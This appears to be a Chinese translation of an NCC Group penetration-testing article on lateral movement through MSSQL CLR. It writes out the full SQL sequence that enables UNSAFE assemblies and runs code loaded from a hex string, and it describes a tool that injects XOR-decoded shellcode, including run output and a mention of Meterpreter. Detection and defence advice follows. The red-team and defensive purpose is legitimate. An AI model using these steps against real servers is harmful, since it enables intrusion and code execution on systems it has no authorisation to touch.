基于MSSQL的横向移动技术

2021-02-05 6,693

基于MSSQL的横向移动技术 

原文地址https://research.nccgroup.com/2021/01/21/mssql-lateral-movement/

 


通过已经到手的凭证在环境中实现横向移动,是我们NCC Group FSAS团队的共同目标。在时间受限的渗透过程中,快速、可靠地使用新获得的凭证的能力是至关重要的。在本文中,我们将为渗透测试人员详细介绍如何在不写入磁盘(当然,还是有一个DLL会被SQL Server进程临时写入磁盘)或不借助XP_CMDSHELL的情况下,通过MSSQL CLR自动实现横向移动,以及如何预防和检测这种攻击。

 

在利用MSSQL服务实现命令执行的时候,通常的做法是利用XP_CMDSHELL存储过程在MSSQL进程的上下文中运行操作系统命令。如果要想利用这种技术运行自定义代码,通常需要使用LOLBINS,添加新的操作系统用户,或通过BCP向磁盘中写入二进制文件,这些方法的缺点是很容易被发现。

 

我们专门为本文开发的工具(Squeak)可以通过下面的网址进行下载: 

 

https://github.com/nccgroup/nccfsas/tree/main/Tools/Squeak

 

关于利用CLR集成来执行命令的方法,Sensepost之前已经在一篇文章中详细讲过,并已经实现了自动化,以提高该技术的速度和可靠性。

 

SQL Server CLR集成

 

SQL Server 2005中引入了从MSSQL运行.NET代码的功能,并在后续版本中叠加了许多保护措施,来限制代码可以访问的内容。在创建.Net程序集时,会给它们指定一个权限级别,例如: 

 

CREATE ASSEMBLY SQLCLRTest  

FROM 'C:\MyDBApp\SQLCLRTest.dll'  

WITH PERMISSION_SET = SAFE;  

 

实际上,其权限集有三个选项:

 

    SAFE:基本上只将MSSQL数据集暴露给代码,其他大部分操作则都被禁止。

    EXTERNAL_ACCESS:允许访问底层服务器上某些资源,但不应该允许直接执行代码。

    UNSAFE:允许使用任何代码。

 

微软关于SQL CLR的详细文档可通过以下网址获得:  https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration.

 

要想运行标记为“SAFE”的代码,只需启用CLR就可以了;但是,要想运行标记为“EXTERNAL_ACCESS”或“UNSAFE”的代码,则需要需要修改相应的配置,以及DBA权限。2017年之前和之后的服务器版本,运行标记为“UNSAFE”的CLR所需的初始步骤是不同的,下面分别进行介绍: 

 

对于SQL Server 2017之前的版本

 

显示高级选项: 

 

sp_configure 'show advanced options',1;RECONFIGURE

 

启用CLR: 

 

sp_configure 'clr enabled',1;RECONFIGURE;

 

将存储.Net程序集的数据库配置为可信赖的。 

 

ALTER DATABASE <CONNECTED DATABASE> SET TRUSTWORTHY ON;

 

有趣的是,MSDB数据库似乎在默认情况下被授予了TRUSTWORTHY权限。

 

SQL Server 2017及更高版本

 

对于SQL Server 2017及更高版本,则引入了严格的安全性,也必须禁用。另外,也可以根据提供的SHA512哈希值,针对单个程序集授予其UNSAFE权限,而不是将整个数据库都标记为可信的。对于SQL Server 2017及以上版本,其过程如下所示:

 

显示高级选项: 

 

sp_configure 'show advanced options',1;RECONFIGURE

 

启用CLR: 

 

sp_configure 'clr enabled',1;RECONFIGURE;

 

将某程序集的SHA512哈希值添加到可信程序集列表中: 

 

sp_add_trusted_assembly @hash= <SHA512 of DLL>;

 

从现在开始,程序集的创建和调用对于任何SQL Server版本来说,都是一样的。

 

通过十六进制字符串创建程序集——如果可以从十六进制字符串创建程序集,则意味着无需创建一个二进制文件并将其写入SQL服务器进程可访问的位置: 

 

CREATE ASSEMBLY clrassem from <HEX STRING> WITH PERMISSION_SET = UNSAFE;

 

创建存储过程,以从程序集运行代码: 

 

CREATE PROCEDURE debugrun AS EXTERNAL NAME clrassem.StoredProcedures.runner;

 

运行该存储过程: 

 

debugrun

 

在代码运行后,可以删除存储过程、程序集以及受信任的哈希值,并将前面修改的安全设置恢复原值。下面显示了一个完成该任务的SQL查询示例,不过需要注意的是,这里并没有考虑安全设置的初始配置。

 

对于SQL Server 2017及更高版本: 

 

sp_drop_trusted_assembly @hash=<SHA512 of DLL>

 

对于SQL Server 2017之前的版本: 

 

ALTER DATABASE <CONNECTED DATABASE> SET TRUSTWORTHY OFF;

 

对于所有版本: 

 

DROP PROCEDURE debugrun;

DROP ASSEMBLY clrassem;

sp_configure 'clr strict security',1;RECONFIGURE

sp_configure 'show advanced options',0;RECONFIGURE

 

现在,SQL Server进程将执行提供给它的任何.NET代码,因此,为了利用这一点进行横向移动,只需要构建一个适当的DLL即可。作为概念的证明,我们制作了一个简单的程序集,它可以对一些shellcode进行XOR处理,并将其注入到一个派生的进程中。为了简化CLR代码的创建和调用过程,我们提供了相应的GUI应用程序,来执行以下操作:

 

    收集连接字符串数据

    从原始二进制文件中读取shellcode字节,并进行单字节XOR处理。

    生成一个MSSQL CLR DLL,对shellcode进行XOR处理,生成一个新的进程,并将shellcode注入其中。

    计算DLL的SHA512哈希值。

    生成一个带有硬编码参数的单一.NET可执行文件,通过一个SQL连接执行DLL——该可执行文件将执行以下操作:

        创建一个SQL连接

        检查SQL Server版本

        检查DBA的权限

        检查并记录现有的安全设置

        修改安全设置

        创建并运行相应的程序集

        恢复安全设置并删除程序集

 

下图显示了生成一个嵌入连接字符串和CLR程序集的独立可执行文件的过程。

 

对于这里的CLR程序集的代码来说,将从工作目录中的文件中加载;该文件可以直接打开,也可以在工具中编辑。该工具提供了示例代码,但没有进行相应的优化,所以很容易被检测到。

 

然后,生成的可执行文件可以在没有任何参数的情况下运行。 

 

C:\Users\user\Desktop>latmovemssqloutput.exe

Running with settings:

==========

Server: 192.168.49.150

Port: 55286

Database: msdb

User: dave

==========

Connection Open !

 

Microsoft SQL Server 2012 - 11.0.2100.60 (Intel X86)

        Feb 10 2012 19:13:17

        Copyright (c) Microsoft Corporation

        Express Edition on Windows NT 6.2 <X64> (Build 9200: ) (WOW64) (Hypervisor)

 

 

Checking for DBA Privs

┌─┐

1

└─┘

 

Got DBA Privs!

Checking whether Advanced Options are already on.

show advanced options                    0                    1                    0                    0

 

 

Enabling advanced options

SQL Server is lower than 2017.

Checking CLR status

┌───────────────────────────────────────────────────────────┐

clr enabled          0          1          1          1

└───────────────────────────────────────────────────────────┘

 

CLR already enabled

Dropping any existing assemblies and procedures

SQL version is lower than 2017, checking whether trustworthy is enabled on the connected DB:

┌────┐

True

└────┘

 

Creating the assembly

Creating the stored procedure

Running the stored procedure.

Sleeping before cleanup for: 5

 

Cleanup

=======

Dropping procedure and assembly

Disabling advanced options again

Cleaned up... all done.

 

这样,就可以运行所需的shellcode了,例如建立一个Meterpreter会话。

 

这里的代码已经在以下SQL Server版本中通过了测试: 

 

    Microsoft SQL Server 2019 (RTM) 15.0.2000.5 (X64)

    Microsoft SQL Server 2017 (RTM) 14.0.1000.169 (X64)

    Microsoft SQL Server 2012 11.0.2100.60 (Intel X86)

 

检测与防御方法

 

通过最大限度地减少数据库凭证的暴露,并对SQL登录进行适当的权限管理,应该可以减少使用协议在底层操作系统上执行代码的可能性,从而降低受本文介绍的攻击方法侵害的风险。

 

如果做不到这一点,还可以使用下列方法来检测横向移动攻击:

 

    异常的SQL服务器登录

    审核可疑的事务,如“CREATE ASSEMBLY”,或确实需要用到SQL查询链的所有其他部分。

    DLL本身执行的操作。在这种情况下,例如,从.NET内部调用CreateRemoteThread可能会触发检测

 

对于通过SQL命令调用程序集的进程,也会有几个相同的文件以不同的名称被写入SQL服务账户的临时目录。以下Procmon的截图显示了正在创建的文件和写入其中的.NET代码。

 

通过调整文件权限,阻止文件从C:\Windows\Temp\目录中被删除,可以在文件被sqlservr.exe进程删除之前检索到文件的副本。然后,可以对其进行反编译,以显示出原始代码。

 

这能为静态检测恶意内容提供额外的机会,因为在程序集执行后,证据很快就会被删除。 

 


本文作者:mssp299

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